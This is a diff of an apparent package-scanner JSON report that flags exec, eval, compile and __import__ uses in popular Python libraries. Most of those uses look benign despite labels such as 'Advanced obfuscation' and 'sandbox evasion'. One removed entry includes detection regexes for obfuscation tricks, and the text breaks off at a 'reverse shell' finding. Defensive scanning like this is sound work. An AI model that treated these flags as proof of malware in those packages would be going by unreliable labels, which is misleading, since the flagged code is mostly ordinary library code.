+      "evidence": "Obfusc: L7106:         exec(compile(funcstr, '<string>', 'exec'), globals(), dct)\nExec: L7106:         exec(compile(funcstr, '<string>', 'exec'), globals(), dct)",
+      "evidence_hash": "9e81164131d16056fb56ad3cd11b8d129d1ff4f5855031e8b501e0335d5c14ed"
     },
     {
       "package": "numpy",
       "file": "numpy/testing/_private/utils.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L1627: code = compile(code_str, f'Test name: {label} ', 'exec')\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)"
+      "evidence": "Obfusc: L1627:     code = compile(code_str, f'Test name: {label} ', 'exec')\nExec: L1346:     exec(astr, dict) | L1632:         exec(code, globs, locs)",
+      "evidence_hash": "0f709178d59737ab994e7c63800a434bdb56e9c4c72f6dc5d3ebf3bf8eb4245c"
     },
     {
       "package": "numpy",
       "file": "numpy/testing/_private/utils.py",
       "check": "Anti-analysis/sandbox evasion + suspicious behavior",
       "severity": "HIGH",
-      "evidence": "Anti: L2777: original_trace = sys.gettrace() | L2779: sys.settrace(None) | L2782: sys.settrace(original_trace)"
+      "evidence": "Anti: L2777:             original_trace = sys.gettrace() | L2779:                 sys.settrace(None) | L2782:                 sys.settrace(original_trace)\nSubprocess: L1478:         output = subprocess.run(cmd, capture_output=True, text=True)\nExec: L1346:     exec(astr, dict) | L1632:         exec(code, globs, locs)",
+      "evidence_hash": "27468a6828101c6c026ae25aca8aa90ef485fd62b2c8f0967479edae9c965844"
+    },
+    {
+      "package": "numpy",
+      "file": "numpy/testing/_private/utils.py",
+      "check": "Anti-analysis/sandbox evasion + suspicious behavior",
+      "severity": "HIGH",
+      "evidence": "Anti: L2788:             original_trace = sys.gettrace() | L2790:                 sys.settrace(None) | L2793:                 sys.settrace(original_trace)\nSubprocess: L1486:         output = subprocess.run(cmd, capture_output=True, text=True) | L2889:     res = subprocess.run(cmd, cwd=cwd, capture_output=True, text=True,\nL2890:                          errors=\"replace\", **kwargs)\nExec: L1352:     exec(astr, dict) | L1640:         exec(code, globs, locs)",
+      "evidence_hash": "9c6961817e5b1751e572dfe0858286703bb835870ecdfd6a7a9fdd8372a5dd2b"
     },
     {
       "package": "numpy",
       "file": "numpy/tests/test_public_api.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L543: core_submodule = __import__(\nExec: L405: eval(module_name)"
+      "evidence": "Obfusc: L543:                 core_submodule = __import__(\nL544:                     f\"numpy.core.{submodule_name}\",\nL545:                     fromlist=[submodule_member_name]\nL546:                 )\nExec: L405:             eval(module_name)",
+      "evidence_hash": "084667d5d7ec9e186eea25abc9026122f15c39ec1ec734dbd5d8d801af99af1d"
     },
     {
       "package": "pillow",
       "file": "PIL/Image.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L422: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3772: def eval(image: Image, *args: Callable[[int], float]) -> Image:"
+      "evidence": "Obfusc: L422:         __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490:             __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3772: def eval(image: Image, *args: Callable[[int], float]) -> Image:",
+      "evidence_hash": "c2c1e7ae44e15862caf8de549d09db7b35e93282450f07ef61aaf5450a408c13"
     },
     {
       "package": "protobuf",
       "file": "protobuf-3.19.6-nspkg.pth",
       "check": "Unusually large executable .pth (539 bytes)",
       "severity": "HIGH",
-      "evidence": "1 import line(s) in 539-byte .pth file"
+      "evidence": "1 import line(s) in 539-byte .pth file sha256:c47e604f1738522a583f7aab6cffb80821cd18157dede051e10aa185e0af065e",
+      "evidence_hash": "26acfc4bd3ab7973d7195e470afc660c89d34c8e0d32d3d8f15941db3e4acb8e"
     },
     {
       "package": "pygments",
       "file": "pygments/formatters/__init__.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L38: mod = __import__(module_name, None, None, ['__all__'])\nExec: L103: exec(f.read(), custom_namespace)"
+      "evidence": "Obfusc: L38:     mod = __import__(module_name, None, None, ['__all__'])\nExec: L103:             exec(f.read(), custom_namespace)",
+      "evidence_hash": "8af02b2b951bb656fab606867ffab838490363a604f4773d08c1f40623678bd0"
     },
     {
       "package": "pygments",
       "file": "pygments/lexers/__init__.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L45: mod = __import__(module_name, None, None, ['__all__'])\nExec: L154: exec(f.read(), custom_namespace)"
-    },
-    {
-      "package": "pytest",
-      "file": "_pytest/_py/path.py",
-      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
-      "severity": "HIGH",
-      "evidence": "Obfusc: L626: mod = __import__(hashtype) | L1118: __import__(modname)\nExec: L1153: exec(f.read(), mod.__dict__)"
-    },
-    {
-      "package": "pytest",
-      "file": "_pytest/assertion/rewrite.py",
-      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
-      "severity": "HIGH",
-      "evidence": "Obfusc: L393: co = marshal.load(fp) | L395: trace(f\"_read_pyc({source}): marshal.load error {e}\")\nExec: L188: exec(co, module.__dict__)"
+      "evidence": "Obfusc: L45:     mod = __import__(module_name, None, None, ['__all__'])\nExec: L154:             exec(f.read(), custom_namespace)",
+      "evidence_hash": "8af02b2b951bb656fab606867ffab838490363a604f4773d08c1f40623678bd0"
     },
     {
       "package": "scikit-learn",
       "file": "sklearn/externals/array_api_compat/torch/__init__.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')\nExec: L12: exec(f\"{n} = torch.{n}\")"
+      "evidence": "Obfusc: L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')\nExec: L12:     exec(f\"{n} = torch.{n}\")",
+      "evidence_hash": "3167e0f828bc28964e5054786712d029e967fb8cacb40717978b7acafc68c1ea"
     },
     {
       "package": "scipy",
       "file": "scipy/optimize/_optimize.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L4155: __import__(mod_name)\nExec: L323: def eval(x):"
+      "evidence": "Obfusc: L4155:             __import__(mod_name)\nExec: L323:     def eval(x):",
+      "evidence_hash": "7935cfbe0634201c1ad7626bc38ae17c52cca968bbcfacea236f05c9576dcabd"
     },
     {
       "package": "setuptools",
       "file": "pkg_resources/__init__.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L423: __import__(moduleOrReq) | L1739: code = compile(source, script_filename, 'exec') | L1750: script_code = compile(script_text, script_filename, 'exec')\nExec: L1740: exec(code, namespace, namespace) | L1751: exec(script_code, nam"
+      "evidence": "Obfusc: L423:         __import__(moduleOrReq) | L1739:             code = compile(source, script_filename, 'exec') | L1750:             script_code = compile(script_text, script_filename, 'exec') | L2562:                 __import__(parent) | L2785:         module = __import__(self.module_name, fromlist=['__name__'], level=0)\nExec: L1740:             exec(code, namespace, namespace) | L1751:             exec(script_code, namespace, namespace)",
+      "evidence_hash": "ae52cd10e8d27abe5539a1e1abc11635cef6c2a68aba98579385d8d55271fcd4"
     },
     {
       "package": "setuptools",
       "file": "setuptools/_distutils/compilers/C/base.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L1286: __import__(module_name)\nExec: L1113: if lib_type not in eval(expected):"
+      "evidence": "Obfusc: L1286:         __import__(module_name)\nExec: L1113:         if lib_type not in eval(expected):",
+      "evidence_hash": "368651e9818ed2d1bb009027d3bcfbf94ae30639c0882a6c2bddde97b8c4f1e5"
     },
     {
       "package": "setuptools",
       "file": "setuptools/launch.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L31: code = compile(norm_script, script_name, 'exec')\nExec: L32: exec(code, namespace)"
+      "evidence": "Obfusc: L31:     code = compile(norm_script, script_name, 'exec')\nExec: L32:     exec(code, namespace)",
+      "evidence_hash": "eae05adb1b163466a753f16be119072581011fa2a9f1cbd80d2e69ea3c7d20d9"
     },
     {
       "package": "setuptools",
       "file": "setuptools/tests/config/test_pyprojecttoml.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L364: \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98: \"__main__.py\": \"def exec(): print('hello')\","
+      "evidence": "Obfusc: L364:         \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98:             \"__main__.py\": \"def exec(): print('hello')\",",
+      "evidence_hash": "067d41014f72a61d8b4adf25f3659d1f66a0e909f732223f48837aa7684df4e6"
     },
     {
       "package": "setuptools",
       "file": "setuptools/tests/test_editable_install.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L449: exec(finder, loc, loc)"
+      "evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L449:         exec(finder, loc, loc)",
+      "evidence_hash": "a78d7f5af7eb4ba92656cda258c195b92f6337c585c97d0823e47a9d4a2eb15d"
     },
     {
       "package": "setuptools",
       "file": "setuptools/wheel.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L35: NAMESPACE_PACKAGE_INIT = \"__import__('pkg_resources').declare_namespace(__name__)\\n\"\nExec: L191: def eval(req, **env): | L212: (req for req in reqs if for_extra(req) and eval(req, extra=extra)),"
+      "evidence": "Obfusc: L35: NAMESPACE_PACKAGE_INIT = \"__import__('pkg_resources').declare_namespace(__name__)\\n\"\nExec: L191:         def eval(req, **env): | L212:                     (req for req in reqs if for_extra(req) and eval(req, extra=extra)),",
+      "evidence_hash": "9c22b176a4660dcc5d3d16a78b1994e600707a6ee78eb413757e677dc3d903ce"
     },
     {
       "package": "six",
       "file": "six.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L87: __import__(name)\nExec: L740: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")"
+      "evidence": "Obfusc: L87:     __import__(name)\nExec: L740:         exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")",
+      "evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f"
     },
     {
       "package": "sympy",
       "file": "sympy/external/importtools.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L145: mod = __import__(module, **import_kwargs) | L154: __import__(module + '.' + submod)\nExec: L21: return eval(debug_str)"
+      "evidence": "Obfusc: L145:         mod = __import__(module, **import_kwargs) | L154:                 __import__(module + '.' + submod)\nExec: L21:         return eval(debug_str)",
+      "evidence_hash": "bae3d873046013ecbe4fb6b4dd707d55593bc85436779063a4792c817323f7ce"
     },
     {
       "package": "sympy",
       "file": "sympy/plotting/experimental_lambdify.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L249: namespace.update({'math': __import__('math')}) | L251: namespace.update({'cmath': __import__('cmath')}) | L254: namespace.update({'np': __import__('numpy')})\nExec: L268: exec(\"MYNEWLAMBDA = %s\" % eval_str, namespace)"
+      "evidence": "Obfusc: L249:             namespace.update({'math': __import__('math')}) | L251:             namespace.update({'cmath': __import__('cmath')}) | L254:                 namespace.update({'np': __import__('numpy')}) | L259:             namespace.update({'imath': __import__(\nL260:                 'sympy.plotting.intervalmath', fromlist=['intervalmath'])}) | L261:             namespace.update({'math': __import__('math')})\nExec: L268:         exec(\"MYNEWLAMBDA = %s\" % eval_str, namespace)",
+      "evidence_hash": "a2cf99a96863e82c132ede769f9277f642f283c70e9db637b0a9b949186343cf"
     },
     {
       "package": "sympy",
       "file": "sympy/utilities/lambdify.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L919: c = compile(funcstr, filename, 'exec')\nExec: L163: module = eval(import_command) | L170: exec(import_command, {}, namespace) | L903: exec(ln, {}, namespace)"
-    },
-    {
-      "package": "tensorboard",
-      "file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js",
-      "check": "Python wheel ships large (1918 KB) JS bundle (uncommon; manually review)",
-      "severity": "HIGH",
-      "evidence": ""
+      "evidence": "Obfusc: L919:     c = compile(funcstr, filename, 'exec')\nExec: L163:             module = eval(import_command) | L170:                 exec(import_command, {}, namespace) | L903:                     exec(ln, {}, namespace) | L909:                     exec(ln, {}, namespace) | L920:     exec(c, namespace, funclocals)",
+      "evidence_hash": "ab4f5819576a70038301668b8f3e4a781c4b757b146117d5d93eab1896a5a6cd"
     },
     {
       "package": "torch",
       "file": "torch/_dynamo/bytecode_debugger.py",
       "check": "Anti-analysis/sandbox evasion + suspicious behavior",
       "severity": "HIGH",
-      "evidence": "Anti: L1048: self._old_trace = sys.gettrace() | L1049: sys.settrace(self._settrace_callback) | L1106: sys.settrace(self._old_trace)"
+      "evidence": "Anti: L1048:             self._old_trace = sys.gettrace() | L1049:             sys.settrace(self._settrace_callback) | L1106:             sys.settrace(self._old_trace)\nExec: L683:                         result = eval(arg, frame_globals, eval_locals) | L708:                     result = eval(cmd, frame_globals, eval_locals) | L716:                         exec(cmd, frame_globals, eval_locals)",
+      "evidence_hash": "dc2afd1769d357c15b69802bd2799fafa059c0b1dcdd4937528fb5b601962f1b"
     },
     {
       "package": "torch",
       "file": "torch/_functorch/_aot_autograd/subclass_codegen.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L342: code = compile(source, f\"<{artifact_name}>\", \"exec\")\nExec: L344: exec(code, globals_dict, local_dict)"
+      "evidence": "Obfusc: L342:     code = compile(source, f\"<{artifact_name}>\", \"exec\")\nExec: L344:     exec(code, globals_dict, local_dict)",
+      "evidence_hash": "b3c8fac5f30b611618085c8fa146ab48c9e00defba83aa4df2e3a570db00bf67"
     },
     {
       "package": "torch",
       "file": "torch/fx/experimental/rewriter.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L46: code = compile(dest_ast, \"\", \"exec\")\nExec: L49: exec(code, globals_dict)"
+      "evidence": "Obfusc: L46:         code = compile(dest_ast, \"\", \"exec\")\nExec: L49:         exec(code, globals_dict)",
+      "evidence_hash": "76374f96feed416eec390458843621f33524cfb8d93ef0f3eb4cb1b47d0ad748"
     },
     {
       "package": "torch",
       "file": "torch/fx/graph_module.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L106: exec(compile(src, key, \"exec\"), globals)\nExec: L106: exec(compile(src, key, \"exec\"), globals)"
+      "evidence": "Obfusc: L106:     exec(compile(src, key, \"exec\"), globals)\nExec: L106:     exec(compile(src, key, \"exec\"), globals)",
+      "evidence_hash": "db35f4d5ce3b1ad6466e6438be3f2a1806e83ca95edb020eb9869e6cc6080a15"
     },
     {
       "package": "torch",
       "file": "torch/package/package_importer.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L602: def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412: exec(code, ns)"
+      "evidence": "Obfusc: L602:     def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412:             exec(code, ns)",
+      "evidence_hash": "c7c0650f0c74a086d224112f77ee76634b8f47afc047ce27fee8c7fc45560512"
     },
     {
       "package": "triton",
       "file": "triton/runtime/interpreter.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L1435: compiled_code = compile(transformed_ast, filename=self.filename, mode='exec')\nExec: L1441: exec(compiled_code, fn_globals, local_namespace)"
-    },
-    {
-      "package": "unsloth-zoo",
-      "file": "scripts/scan_packages.py",
-      "check": "exec/eval with payload hidden in a docstring/string",
-      "severity": "HIGH",
-      "evidence": "marshal/compile/obfuscation: L132: r\"|\\bbytearray\\s*\\(\\s*\\[.*?\\]\\s*\\)\"  # bytearray([104,101,...]) | L135: r\"|\\bgetattr\\s*\\(\\s*__builtins__\"  # getattr(__builtins__, ...)"
+      "evidence": "Obfusc: L1435:         compiled_code = compile(transformed_ast, filename=self.filename, mode='exec')\nExec: L1441:         exec(compiled_code, fn_globals, local_namespace)",
+      "evidence_hash": "ccde8f3fb7193b8004d8042fe1de107f19ab5f540300024ec43f9c0047c2a711"
     },
     {
       "package": "unsloth-zoo",
       "file": "tests/test_compiler_dynamic_exec.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L126: code = compile(source, f\"<{entry_point}>\", \"exec\")\nExec: L134: exec(code, sandbox)"
+      "evidence": "Obfusc: L126:         code = compile(source, f\"<{entry_point}>\", \"exec\")\nExec: L134:         exec(code, sandbox)",
+      "evidence_hash": "85af0176d2a3662e7c269f7a397cca8d92eb79eb6d106b3e58a54c7a102cef69"
     },
     {
       "package": "unsloth-zoo",
       "file": "tests/test_fused_forward_install.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L268: code = compile(src, fake_path, \"exec\")\nExec: L269: exec(code, namespace)"
+      "evidence": "Obfusc: L268:     code = compile(src, fake_path, \"exec\")\nExec: L269:     exec(code, namespace)",
+      "evidence_hash": "0bd08f4d68c9f3bf3dd91d3351a4c7a6c44c2f494c70776750e821fbbbad4faa"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "tests/test_mlx_trainer_internals.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L430:     assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L408:         def eval(self):",
+      "evidence_hash": "c409327ef6420cc0c7224506fcb82b11bbc9838a6f2f97c9c2cfc00a40c4cdbf"
     },
     {
       "package": "unsloth-zoo",
       "file": "tests/test_upstream_pinned_symbols_trl_vllm.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L379: mod = __import__(modpath, fromlist=[\"Logprob\"])\nExec: L238: \"unsloth_zoo dispatch via `eval(f'trl.trainer.{trainer_file}.{name}')` breaks\""
+      "evidence": "Obfusc: L379:             mod = __import__(modpath, fromlist=[\"Logprob\"])\nExec: L238:         \"unsloth_zoo dispatch via `eval(f'trl.trainer.{trainer_file}.{name}')` breaks\"",
+      "evidence_hash": "ffcaf5f1fd295f3d6e9b59d792392e22e3e4a1eb8c494edd82f815d90323ae55"
     },
     {
       "package": "unsloth-zoo",
       "file": "unsloth_zoo/compiler.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L1013: _mod = __import__(model_location, fromlist=items) | L4291: f\"   {chr(92)}{chr(92)}   /|    Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\ | L4292: f\"O^O/ {chr(92)}_/ {c"
+      "evidence": "Obfusc: L1013:             _mod = __import__(model_location, fromlist=items) | L4291:         f\"   {chr(92)}{chr(92)}   /|    Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4292:         f\"O^O/ {chr(92)}_/ {chr(92)}    Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293:         f\"{chr(92)}        /    Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4294:         f' \"-____-\"     Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4292:         f\"O^O/ {chr(92)}_/ {chr(92)}    Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293:         f\"{chr(92)}        /    Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4294:         f' \"-____-\"     Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4291:         f\"   {chr(92)}{chr(92)}   /|    Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4292:         f\"O^O/ {chr(92)}_/ {chr(92)}    Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293:         f\"{chr(92)}        /    Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L612:                 if eval(_dtype) is not None: | L613:                     dtype = eval(_dtype) | L955:         _modeling_file = eval(model_location) | L1255:     f = eval(f\"{model_location}.{module}\") | L1563:         exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L1564:         try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L2699:         exec(f\"import {parent}\", locals(), globals()) | L2830:                 dir(eval(parent)), | L2834:             exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L2908:         module = eval(f\"modeling_file.{module}\") | L2935:             inner_class = eval(f\"modeling_file.{inner_class}\") | L3065:                 exec(f\"from timm.layers.norm_act import {norm}\") | L3073:             forward = eval(norm).forward | L3079:             exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L3096:                 exec(f\"from timm.models._efficientnet_blocks import {block}\") | L3104:             forward = eval(block).forward | L3110:             exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L3385:         exec(f\"import {model_location}\", globals()) | L3388:     modeling_file = eval(model_location) | L3401:     exec(\nL3402:         \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL3403:     ) | L3405:     exec(\nL3406:         \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL3407:         globals(),\nL3408:         locals(),\nL3409:     ) | L3560:         source = eval(f\"modeling_file.{module}\") | L3574:         source = eval(f\"modeling_file.{module}\") | L3675:         source = eval(f\"modeling_file.{module}\") | L3713:             source = eval(f\"{model_location}.{module}\") | L3784:                 source = eval(f\"{model_location}.{module}\") | L3832:             source = eval(f\"{model_location}.{module}\") | L4054:         source = eval(f\"{model_location}.{module}\") | L4065:         exec(\nL4066:             f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL4067:             globals(),\nL4068:         ) | L4131:                 source = eval(f\"{model_location}.{module}\") | L4172:                 module_cls = eval(f\"{model_location}.{module}\") | L4209:                 module_cls = eval(f\"{model_location}.{module}\") | L4276:     exec(\nL4277:         \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL4278:         globals(),\nL4279:     ) | L4341:     exec(inner_training_loop, globals()) | L4349:             function = eval(f\"{model_location}.{module}\") | L4427:             function = eval(f\"{model_location}.{module}\") | L4562:                 source = eval(f\"{model_location}.torch\") | L4569:             function = eval(f\"source.nn.{module}\") | L4628:             exec(\nL4629:                 f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4630:                 globals(),\nL4631:                 locals(),\nL4632:             ) | L4634:                 exec(\nL4635:                     f\"{model_location}.nn.{module}.forward = forward\",\nL4636:                     globals(),\nL4637:                     locals(),\nL4638:                 ) | L4642:                 exec(\nL4643:                     f\"combined_module.torch.nn.{module}.forward = forward\",\nL4644:                     globals(),\nL4645:                     locals(),\nL4646:                 ) | L4648:                     exec(\nL4649:                         f\"combined_module.nn.{module}.forward = forward\",\nL4650:                         globals(),\nL4651:                         locals(),\nL4652:                     ) | L4669:             exec(\nL4670:                 f\"{model_location}.{module} = combined_module.{module}\",\nL4671:                 globals(),\nL4672:                 locals(),\nL4673:             ) | L4683:     check_dicts = dir(eval(f\"{model_location}\")) | L4685:         item = eval(f\"{model_location}.{check}\") | L4695:                         exec(\nL4696:                             f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL4697:                             globals(),\nL4698:                             locals(),\nL4699:                         )",
+      "evidence_hash": "ec1875fd32d00fe885e566ebda75163e46e838ca31020abb57e0991892c2bdf7"
     },
     {
       "package": "unsloth-zoo",
       "file": "unsloth_zoo/fused_losses/forward_install.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L274: code = compile(new_src, synthetic_path, \"exec\")\nExec: L275: exec(code, ns)"
+      "evidence": "Obfusc: L274:         code = compile(new_src, synthetic_path, \"exec\")\nExec: L275:         exec(code, ns)",
+      "evidence_hash": "33b0c2ba90758a5ed84578c1d03364cb307f393e9fbb1da370ae06991e0dc7c4"
     },
     {
       "package": "unsloth-zoo",
       "file": "unsloth_zoo/mlx/loader.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L1739: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L141: mx.eval(model.parameters()) | L1543: model.eval() | L2126: mx.eval(model.parameters())"
+      "evidence": "Obfusc: L2218:             _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L140:     mx.eval(model.parameters()) | L176:     mx.eval(model.parameters()) | L2022:         model.eval() | L2605:         mx.eval(model.parameters()) | L2721:         mx.eval(module.weight) | L4030:                 mx.eval(model.parameters()) | L4058:                 mx.eval(model.parameters()) | L4178:                 mx.eval(model.parameters())",
+      "evidence_hash": "9b29dade82912216c8b4808aa293b79749aa80ef1d2be35edd93bec7632810f1"
     },
     {
       "package": "unsloth-zoo",
       "file": "unsloth_zoo/patching_utils.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L706: compile(new_source, '<temp_patched>', 'exec')\nExec: L221: try:    exec(_try_compile_argument) | L226: try:    exec(_try_dynamo_argument) | L570: exec(\"from torch._dynamo.compiled_autograd import (\" + \", \".join(x for x in good_"
+      "evidence": "Obfusc: L706:         compile(new_source, '<temp_patched>', 'exec')\nExec: L221:         try:    exec(_try_compile_argument) | L226:         try:    exec(_try_dynamo_argument) | L570:     exec(\"from torch._dynamo.compiled_autograd import (\" + \", \".join(x for x in good_items) + \")\", globals()) | L571:     exec(source, globals()) | L596:     exec(\"from torch._dynamo.variables.misc import (\" + \", \".join(x for x in good_items) + \")\", globals()) | L597:     exec(source, globals()) | L686:     exec(f\"from transformers.integrations.bitsandbytes import ({x})\", globals()) | L749:     exec(source, globals())",
+      "evidence_hash": "f4c3d4a58360b4572b174f74d5250b661bb6b9ac942a07cca49cd42c23baf4c2"
     },
     {
       "package": "unsloth-zoo",
       "file": "unsloth_zoo/saving_utils.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L3078: module = __import__('transformers', fromlist=[model_class_name])\nExec: L2960: exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3006: exec(save_pretrained, globals(), functions)"
+      "evidence": "Obfusc: L3241:         module = __import__('transformers', fromlist=[model_class_name])\nExec: L3123:     exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3169:     exec(save_pretrained, globals(), functions)",
+      "evidence_hash": "530b2383acd9fe8330aa65cd0bf86164aaacd47770e7c8d0752195bee36396ec"
     },
     {
       "package": "werkzeug",
       "file": "werkzeug/routing/rules.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L836: code = compile(module, \"<werkzeug routing>\", \"exec\")\nExec: L736: exec(code, globs, locs)"
+      "evidence": "Obfusc: L836:         code = compile(module, \"<werkzeug routing>\", \"exec\")\nExec: L736:         exec(code, globs, locs)",
+      "evidence_hash": "5c0992c90f05c772abd94d00784f157de337e1f8567f8b3aee1b15e46c96cd5d"
+    },
+    {
+      "package": "multiprocess",
+      "file": "multiprocess/tests/__init__.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
